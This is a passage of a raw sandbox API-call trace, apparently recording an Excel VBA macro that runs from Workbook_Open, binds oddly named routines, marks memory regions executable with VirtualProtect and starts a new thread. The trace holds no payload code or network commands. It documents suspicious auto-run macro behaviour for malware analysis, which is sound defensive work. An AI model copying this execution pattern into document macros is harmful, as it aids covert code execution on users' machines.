(in: _Dst=0x662ae70, _DstSize=0x9, _Src="gabrilla" | out: _Dst="gabrilla") returned 0x0 [0076.102] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb89a5d0 [0076.102] IMalloc:GetSize (This=0x7fefe465380, pv=0xb89a5d0) returned 0x26d [0076.102] IMalloc:GetSize (This=0x7fefe465380, pv=0xb89a5d0) returned 0x26d [0076.102] GetCurrentProcess () returned 0xffffffffffffffff [0076.102] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb89a5d0, dwSize=0x4d) returned 1 [0076.102] IMalloc:Free (This=0x7fefe465380, pv=0xb89a5d0) [0076.102] _mbscpy_s (in: _Dst=0x200510, _DstSizeInBytes=0xe, _Src=0x5792b66 | out: _Dst=0x200510) returned 0x0 [0076.102] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0076.102] _mbscpy_s (in: _Dst=0x200510, _DstSizeInBytes=0xe, _Src=0x200519 | out: _Dst=0x200510) returned 0x0 [0076.102] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0076.102] _mbscpy_s (in: _Dst=0x2004d0, _DstSizeInBytes=0xe, _Src=0x5792b66 | out: _Dst=0x2004d0) returned 0x0 [0076.102] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0076.102] _mbscpy_s (in: _Dst=0x2004d0, _DstSizeInBytes=0xe, _Src=0x2004d9 | out: _Dst=0x2004d0) returned 0x0 [0076.102] IMalloc:Alloc (This=0x7fefe465380, cb=0x48) returned 0x614bef0 [0076.102] strcpy_s (in: _Dst=0x662ae88, _DstSize=0xe, _Src="Workbook_Open" | out: _Dst="Workbook_Open") returned 0x0 [0076.102] IMalloc:Alloc (This=0x7fefe465380, cb=0x230) returned 0x662abb0 [0076.103] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb89a5d0 [0076.103] IMalloc:GetSize (This=0x7fefe465380, pv=0xb89a5d0) returned 0x26d [0076.103] GetCurrentProcess () returned 0xffffffffffffffff [0076.103] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb89a5d0, dwSize=0x45) returned 1 [0076.103] IMalloc:Free (This=0x7fefe465380, pv=0xb89a5d0) [0076.103] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb89a5d0, dwSize=0x45) returned 1 [0076.103] IMalloc:Free (This=0x7fefe465380, pv=0xb89a5d0) [0076.103] _mbscpy_s (in: _Dst=0x200510, _DstSizeInBytes=0xd, _Src=0x5792c4a | out: _Dst=0x200510) returned 0x0 [0076.103] IMalloc:Alloc (This=0x7fefe465380, cb=0x50) returned 0x674c420 [0076.103] strcpy_s (in: _Dst=0x662aea0, _DstSize=0xd, _Src="goldgoldtime" | out: _Dst="goldgoldtime") returned 0x0 [0076.103] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb89a5d0 [0076.103] IMalloc:GetSize (This=0x7fefe465380, pv=0xb89a5d0) returned 0x26d [0076.103] IMalloc:GetSize (This=0x7fefe465380, pv=0xb89a5d0) returned 0x26d [0076.103] GetCurrentProcess () returned 0xffffffffffffffff [0076.103] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb89a5d0, dwSize=0x4d) returned 1 [0076.103] IMalloc:Free (This=0x7fefe465380, pv=0xb89a5d0) [0076.103] IMalloc:Alloc (This=0x7fefe465380, cb=0x230) returned 0x662a270 [0076.103] _mbscpy_s (in: _Dst=0x200510, _DstSizeInBytes=0xa, _Src=0x5792d2e | out: _Dst=0x200510) returned 0x0 [0076.103] IMalloc:Alloc (This=0x7fefe465380, cb=0x50) returned 0x6753800 [0076.103] strcpy_s (in: _Dst=0x662aeb8, _DstSize=0xa, _Src="ramzessii" | out: _Dst="ramzessii") returned 0x0 [0076.103] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb89a5d0 [0076.103] IMalloc:GetSize (This=0x7fefe465380, pv=0xb89a5d0) returned 0x26d [0076.103] IMalloc:GetSize (This=0x7fefe465380, pv=0xb89a5d0) returned 0x26d [0076.103] GetCurrentProcess () returned 0xffffffffffffffff [0076.103] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb89a5d0, dwSize=0x4d) returned 1 [0076.103] IMalloc:Free (This=0x7fefe465380, pv=0xb89a5d0) [0076.103] _mbscpy_s (in: _Dst=0x200510, _DstSizeInBytes=0xb, _Src=0x5792d5a | out: _Dst=0x200510) returned 0x0 [0076.103] IMalloc:Alloc (This=0x7fefe465380, cb=0x50) returned 0x666f650 [0076.103] strcpy_s (in: _Dst=0x662aed0, _DstSize=0xb, _Src="SingleSong" | out: _Dst="SingleSong") returned 0x0 [0076.103] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb89a5d0 [0076.103] IMalloc:GetSize (This=0x7fefe465380, pv=0xb89a5d0) returned 0x26d [0076.103] IMalloc:GetSize (This=0x7fefe465380, pv=0xb89a5d0) returned 0x26d [0076.103] GetCurrentProcess () returned 0xffffffffffffffff [0076.103] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb89a5d0, dwSize=0x4d) returned 1 [0076.103] IMalloc:Free (This=0x7fefe465380, pv=0xb89a5d0) [0076.103] IMalloc:Alloc (This=0x7fefe465380, cb=0x230) returned 0x662b4f0 [0076.104] _mbscpy_s (in: _Dst=0x200510, _DstSizeInBytes=0x9, _Src=0x5792d02 | out: _Dst=0x200510) returned 0x0 [0076.104] IMalloc:Alloc (This=0x7fefe465380, cb=0x50) returned 0x666f5f0 [0076.104] strcpy_s (in: _Dst=0x662aee8, _DstSize=0x9, _Src="depminng" | out: _Dst="depminng") returned 0x0 [0076.104] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb89a5d0 [0076.104] IMalloc:GetSize (This=0x7fefe465380, pv=0xb89a5d0) returned 0x26d [0076.104] IMalloc:GetSize (This=0x7fefe465380, pv=0xb89a5d0) returned 0x26d [0076.104] GetCurrentProcess () returned 0xffffffffffffffff [0076.104] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb89a5d0, dwSize=0x4d) returned 1 [0076.104] IMalloc:Free (This=0x7fefe465380, pv=0xb89a5d0) [0076.104] _mbscpy_s (in: _Dst=0x200510, _DstSizeInBytes=0xe, _Src=0x5792bea | out: _Dst=0x200510) returned 0x0 [0076.104] IMalloc:Alloc (This=0x7fefe465380, cb=0x50) returned 0x666f6b0 [0076.104] strcpy_s (in: _Dst=0x662af00, _DstSize=0xe, _Src="bigtowerstone" | out: _Dst="bigtowerstone") returned 0x0 [0076.104] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb89a5d0 [0076.104] IMalloc:GetSize (This=0x7fefe465380, pv=0xb89a5d0) returned 0x26d [0076.104] IMalloc:GetSize (This=0x7fefe465380, pv=0xb89a5d0) returned 0x26d [0076.104] GetCurrentProcess () returned 0xffffffffffffffff [0076.104] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb89a5d0, dwSize=0x4d) returned 1 [0076.104] IMalloc:Free (This=0x7fefe465380, pv=0xb89a5d0) [0076.104] IMalloc:Alloc (This=0x7fefe465380, cb=0x230) returned 0x6627d70 [0076.104] _mbscpy_s (in: _Dst=0x200510, _DstSizeInBytes=0xb, _Src=0x5792dfe | out: _Dst=0x200510) returned 0x0 [0076.104] IMalloc:Alloc (This=0x7fefe465380, cb=0x50) returned 0x666eed0 [0076.104] strcpy_s (in: _Dst=0x662af18, _DstSize=0xb, _Src="nugahoneys" | out: _Dst="nugahoneys") returned 0x0 [0076.104] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb89a5d0 [0076.104] IMalloc:GetSize (This=0x7fefe465380, pv=0xb89a5d0) returned 0x26d [0076.104] IMalloc:GetSize (This=0x7fefe465380, pv=0xb89a5d0) returned 0x26d [0076.104] GetCurrentProcess () returned 0xffffffffffffffff [0076.104] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb89a5d0, dwSize=0x4d) returned 1 [0076.104] IMalloc:Free (This=0x7fefe465380, pv=0xb89a5d0) [0076.104] _mbscpy_s (in: _Dst=0x200510, _DstSizeInBytes=0xe, _Src=0x5792eb2 | out: _Dst=0x200510) returned 0x0 [0076.104] IMalloc:Alloc (This=0x7fefe465380, cb=0x50) returned 0x666ef30 [0076.104] strcpy_s (in: _Dst=0x662af30, _DstSize=0xe, _Src="fatalerrrrord" | out: _Dst="fatalerrrrord") returned 0x0 [0076.104] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb89a5d0 [0076.104] IMalloc:GetSize (This=0x7fefe465380, pv=0xb89a5d0) returned 0x26d [0076.104] IMalloc:GetSize (This=0x7fefe465380, pv=0xb89a5d0) returned 0x26d [0076.104] GetCurrentProcess () returned 0xffffffffffffffff [0076.104] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb89a5d0, dwSize=0x4d) returned 1 [0076.104] IMalloc:Free (This=0x7fefe465380, pv=0xb89a5d0) [0076.105] IMalloc:Alloc (This=0x7fefe465380, cb=0x230) returned 0x662b740 [0076.105] _mbscpy_s (in: _Dst=0x200510, _DstSizeInBytes=0xf, _Src=0x5792e82 | out: _Dst=0x200510) returned 0x0 [0076.105] IMalloc:Alloc (This=0x7fefe465380, cb=0x50) returned 0x666f050 [0076.105] strcpy_s (in: _Dst=0x662af48, _DstSize=0xf, _Src="rtypeoldschool" | out: _Dst="rtypeoldschool") returned 0x0 [0076.105] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb89a5d0 [0076.105] IMalloc:GetSize (This=0x7fefe465380, pv=0xb89a5d0) returned 0x26d [0076.105] IMalloc:GetSize (This=0x7fefe465380, pv=0xb89a5d0) returned 0x26d [0076.105] GetCurrentProcess () returned 0xffffffffffffffff [0076.105] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb89a5d0, dwSize=0x4d) returned 1 [0076.105] IMalloc:Free (This=0x7fefe465380, pv=0xb89a5d0) [0076.105] IMalloc:Alloc (This=0x7fefe465380, cb=0x14) returned 0x5962db0 [0076.105] IMalloc:Free (This=0x7fefe465380, pv=0x5962db0) [0076.106] IMalloc:Alloc (This=0x7fefe465380, cb=0x11) returned 0x5962db0 [0076.106] IMalloc:Free (This=0x7fefe465380, pv=0x5962db0) [0076.106] IMalloc:Alloc (This=0x7fefe465380, cb=0x58) returned 0x666eff0 [0076.106] GetCurrentProcess () returned 0xffffffffffffffff [0076.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a29, dwSize=0x8) returned 1 [0076.106] GetCurrentProcess () returned 0xffffffffffffffff [0076.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a28, dwSize=0x8) returned 1 [0076.106] IMalloc:Alloc (This=0x7fefe465380, cb=0x10) returned 0x5962db0 [0076.106] IMalloc:Free (This=0x7fefe465380, pv=0x5962db0) [0076.106] IMalloc:Alloc (This=0x7fefe465380, cb=0x58) returned 0x666f110 [0076.106] GetCurrentProcess () returned 0xffffffffffffffff [0076.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf1, dwSize=0x8) returned 1 [0076.106] GetCurrentProcess () returned 0xffffffffffffffff [0076.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf0, dwSize=0x8) returned 1 [0076.106] IMalloc:Alloc (This=0x7fefe465380, cb=0x11) returned 0x5962db0 [0076.106] IMalloc:Free (This=0x7fefe465380, pv=0x5962db0) [0076.106] IMalloc:Alloc (This=0x7fefe465380, cb=0x58) returned 0x666f0b0 [0076.106] GetCurrentProcess () returned 0xffffffffffffffff [0076.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad59, dwSize=0x8) returned 1 [0076.106] GetCurrentProcess () returned 0xffffffffffffffff [0076.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad58, dwSize=0x8) returned 1 [0076.106] IMalloc:Alloc (This=0x7fefe465380, cb=0x11) returned 0x5962db0 [0076.106] IMalloc:Free (This=0x7fefe465380, pv=0x5962db0) [0076.106] IMalloc:Alloc (This=0x7fefe465380, cb=0x58) returned 0x666f290 [0076.106] GetCurrentProcess () returned 0xffffffffffffffff [0076.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a341, dwSize=0x8) returned 1 [0076.106] GetCurrentProcess () returned 0xffffffffffffffff [0076.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a340, dwSize=0x8) returned 1 [0076.106] IMalloc:Alloc (This=0x7fefe465380, cb=0x11) returned 0x5962db0 [0076.106] IMalloc:Free (This=0x7fefe465380, pv=0x5962db0) [0076.106] IMalloc:Alloc (This=0x7fefe465380, cb=0x58) returned 0x666f170 [0076.106] GetCurrentProcess () returned 0xffffffffffffffff [0076.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a429, dwSize=0x8) returned 1 [0076.106] GetCurrentProcess () returned 0xffffffffffffffff [0076.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a428, dwSize=0x8) returned 1 [0076.106] IMalloc:Alloc (This=0x7fefe465380, cb=0x11) returned 0x5962db0 [0076.106] IMalloc:Free (This=0x7fefe465380, pv=0x5962db0) [0076.106] IMalloc:Alloc (This=0x7fefe465380, cb=0x58) returned 0x666f590 [0076.106] GetCurrentProcess () returned 0xffffffffffffffff [0076.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c1, dwSize=0x8) returned 1 [0076.107] GetCurrentProcess () returned 0xffffffffffffffff [0076.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c0, dwSize=0x8) returned 1 [0076.107] IMalloc:Alloc (This=0x7fefe465380, cb=0x11) returned 0x5962db0 [0076.107] IMalloc:Free (This=0x7fefe465380, pv=0x5962db0) [0076.107] IMalloc:Alloc (This=0x7fefe465380, cb=0x58) returned 0x666f230 [0076.107] GetCurrentProcess () returned 0xffffffffffffffff [0076.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a9, dwSize=0x8) returned 1 [0076.107] GetCurrentProcess () returned 0xffffffffffffffff [0076.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a8, dwSize=0x8) returned 1 [0076.107] IMalloc:Alloc (This=0x7fefe465380, cb=0x11) returned 0x5962db0 [0076.107] IMalloc:Free (This=0x7fefe465380, pv=0x5962db0) [0076.107] IMalloc:Alloc (This=0x7fefe465380, cb=0x58) returned 0x666f1d0 [0076.107] GetCurrentProcess () returned 0xffffffffffffffff [0076.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e41, dwSize=0x8) returned 1 [0076.107] GetCurrentProcess () returned 0xffffffffffffffff [0076.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e40, dwSize=0x8) returned 1 [0076.107] IMalloc:Alloc (This=0x7fefe465380, cb=0x11) returned 0x5962db0 [0076.107] IMalloc:Free (This=0x7fefe465380, pv=0x5962db0) [0076.107] IMalloc:Alloc (This=0x7fefe465380, cb=0x58) returned 0x666f410 [0076.107] GetCurrentProcess () returned 0xffffffffffffffff [0076.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f29, dwSize=0x8) returned 1 [0076.107] GetCurrentProcess () returned 0xffffffffffffffff [0076.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f28, dwSize=0x8) returned 1 [0076.107] IMalloc:Alloc (This=0x7fefe465380, cb=0x11) returned 0x5962db0 [0076.107] IMalloc:Free (This=0x7fefe465380, pv=0x5962db0) [0076.107] IMalloc:Alloc (This=0x7fefe465380, cb=0x58) returned 0x666f2f0 [0076.107] GetCurrentProcess () returned 0xffffffffffffffff [0076.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b811, dwSize=0x8) returned 1 [0076.107] GetCurrentProcess () returned 0xffffffffffffffff [0076.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b810, dwSize=0x8) returned 1 [0076.107] GetCurrentProcess () returned 0xffffffffffffffff [0076.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a29, dwSize=0x8) returned 1 [0076.107] GetCurrentProcess () returned 0xffffffffffffffff [0076.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a28, dwSize=0x8) returned 1 [0076.107] GetCurrentProcess () returned 0xffffffffffffffff [0076.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a38, dwSize=0x2) returned 1 [0076.107] GetCurrentProcess () returned 0xffffffffffffffff [0076.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a8c, dwSize=0x4d) returned 1 [0076.107] VirtualProtect (in: lpAddress=0x6628a8c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x20158c | out: lpflOldProtect=0x20158c*=0x4) returned 1 [0076.107] GetCurrentProcess () returned 0xffffffffffffffff [0076.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf1, dwSize=0x8) returned 1 [0076.107] GetCurrentProcess () returned 0xffffffffffffffff [0076.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf0, dwSize=0x8) returned 1 [0076.107] GetCurrentProcess () returned 0xffffffffffffffff [0076.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac00, dwSize=0x2) returned 1 [0076.107] GetCurrentProcess () returned 0xffffffffffffffff [0076.107] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac54, dwSize=0x45) returned 1 [0076.107] VirtualProtect (in: lpAddress=0x662ac54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x20158c | out: lpflOldProtect=0x20158c*=0x4) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662acdc, dwSize=0x45) returned 1 [0076.108] VirtualProtect (in: lpAddress=0x662acdc, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x20158c | out: lpflOldProtect=0x20158c*=0x40) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad59, dwSize=0x8) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad58, dwSize=0x8) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad68, dwSize=0x2) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a2bc, dwSize=0x4d) returned 1 [0076.108] VirtualProtect (in: lpAddress=0x662a2bc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x20158c | out: lpflOldProtect=0x20158c*=0x40) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a341, dwSize=0x8) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a340, dwSize=0x8) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a350, dwSize=0x2) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a3a4, dwSize=0x4d) returned 1 [0076.108] VirtualProtect (in: lpAddress=0x662a3a4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x20158c | out: lpflOldProtect=0x20158c*=0x40) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a429, dwSize=0x8) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a428, dwSize=0x8) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a438, dwSize=0x2) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b53c, dwSize=0x4d) returned 1 [0076.108] VirtualProtect (in: lpAddress=0x662b53c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x20158c | out: lpflOldProtect=0x20158c*=0x4) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c1, dwSize=0x8) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c0, dwSize=0x8) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5d0, dwSize=0x2) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b624, dwSize=0x4d) returned 1 [0076.108] VirtualProtect (in: lpAddress=0x662b624, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x20158c | out: lpflOldProtect=0x20158c*=0x40) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a9, dwSize=0x8) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a8, dwSize=0x8) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6b8, dwSize=0x2) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.108] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627dbc, dwSize=0x4d) returned 1 [0076.108] VirtualProtect (in: lpAddress=0x6627dbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x20158c | out: lpflOldProtect=0x20158c*=0x4) returned 1 [0076.108] GetCurrentProcess () returned 0xffffffffffffffff [0076.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e41, dwSize=0x8) returned 1 [0076.109] GetCurrentProcess () returned 0xffffffffffffffff [0076.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e40, dwSize=0x8) returned 1 [0076.109] GetCurrentProcess () returned 0xffffffffffffffff [0076.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e50, dwSize=0x2) returned 1 [0076.109] GetCurrentProcess () returned 0xffffffffffffffff [0076.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627ea4, dwSize=0x4d) returned 1 [0076.109] VirtualProtect (in: lpAddress=0x6627ea4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x20158c | out: lpflOldProtect=0x20158c*=0x40) returned 1 [0076.109] GetCurrentProcess () returned 0xffffffffffffffff [0076.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f29, dwSize=0x8) returned 1 [0076.109] GetCurrentProcess () returned 0xffffffffffffffff [0076.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f28, dwSize=0x8) returned 1 [0076.109] GetCurrentProcess () returned 0xffffffffffffffff [0076.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f38, dwSize=0x2) returned 1 [0076.109] GetCurrentProcess () returned 0xffffffffffffffff [0076.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b78c, dwSize=0x4d) returned 1 [0076.109] VirtualProtect (in: lpAddress=0x662b78c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x20158c | out: lpflOldProtect=0x20158c*=0x40) returned 1 [0076.109] GetCurrentProcess () returned 0xffffffffffffffff [0076.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b811, dwSize=0x8) returned 1 [0076.109] GetCurrentProcess () returned 0xffffffffffffffff [0076.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b810, dwSize=0x8) returned 1 [0076.109] GetCurrentProcess () returned 0xffffffffffffffff [0076.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b820, dwSize=0x2) returned 1 [0076.109] GetCurrentProcess () returned 0xffffffffffffffff [0076.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b874, dwSize=0x4d) returned 1 [0076.109] VirtualProtect (in: lpAddress=0x662b874, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x20158c | out: lpflOldProtect=0x20158c*=0x40) returned 1 [0076.109] IMalloc:Alloc (This=0x7fefe465380, cb=0x8) returned 0x6640ac0 [0076.109] IMalloc:GetSize (This=0x7fefe465380, pv=0x6640ac0) returned 0x8 [0076.109] IMalloc:Alloc (This=0x7fefe465380, cb=0x78) returned 0xb97ff30 [0076.109] IMalloc:GetSize (This=0x7fefe465380, pv=0xb97ff30) returned 0x78 [0076.115] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0076.115] IMalloc:Alloc (This=0x7fefe465380, cb=0x40) returned 0xb8f7d70 [0076.115] DispCallFunc (pvInstance=0xb97ff90, oVft=0x38, cc=0x4, vtReturn=0xa, cActuals=0x0, prgvt=0x0, prgpvarg=0x0, pvargResult=0x2014f0) returned 0x0 [0076.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1000, lpStartAddress=0x7fee5bf1498, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x200fb0 | out: lpThreadId=0x200fb0*=0xb7c) returned 0x10 [0076.134] PeekMessageA (in: lpMsg=0x200f50, hWnd=0x302dc, wMsgFilterMin=0x1045, wMsgFilterMax=0x1045, wRemoveMsg=0x3 | out: lpMsg=0x200f50) returned 0 [0076.135] GetActiveWindow () returned 0x302c2 [0076.135] IMalloc:Alloc (This=0x7fefe465380, cb=0x810) returned 0x6784d60 [0076.135] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x5dc0000 [0076.136] IMalloc:Alloc (This=0x7fefe465380, cb=0x38) returned 0x5b43f50 [0076.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792b96, cbMultiByte=11, lpWideCharStr=0x1ff6f0, cchWideChar=12 | out: lpWideCharStr="Monochrome") returned 11 [0076.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792b96, cbMultiByte=11, lpWideCharStr=0x1ff730, cchWideChar=12 | out: lpWideCharStr="Monochrome") returned 11 [0076.136] ITypeComp:RemoteBind (in: This=0x679bb90, szName="Monochrome", lHashVal=0x1001a5, wFlags=0x3, ppTInfo=0x1ff6e8, pDescKind=0x1ff6fc, ppFuncDesc=0x1ff700, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff6e8*=0x0, pDescKind=0x1ff6fc*=0, ppFuncDesc=0x1ff700, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792b96, cbMultiByte=11, lpWideCharStr=0x1ff730, cchWideChar=12 | out: lpWideCharStr="Monochrome") returned 11 [0076.137] ITypeComp:RemoteBind (in: This=0x5a48630, szName="Monochrome", lHashVal=0x1001a5, wFlags=0x3, ppTInfo=0x1ff6e8, pDescKind=0x1ff6fc, ppFuncDesc=0x1ff700, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff6e8*=0x0, pDescKind=0x1ff6fc*=0, ppFuncDesc=0x1ff700, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792b96, cbMultiByte=11, lpWideCharStr=0x1ff730, cchWideChar=12 | out: lpWideCharStr="Monochrome") returned 11 [0076.137] ITypeComp:RemoteBind (in: This=0x679c130, szName="Monochrome", lHashVal=0x1001a5, wFlags=0x3, ppTInfo=0x1ff6e8, pDescKind=0x1ff6fc, ppFuncDesc=0x1ff700, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff6e8*=0xb934ce8, pDescKind=0x1ff6fc*=2, ppFuncDesc=0x1ff700, ppVarDesc=0x479d490, ppTypeComp=0x0, 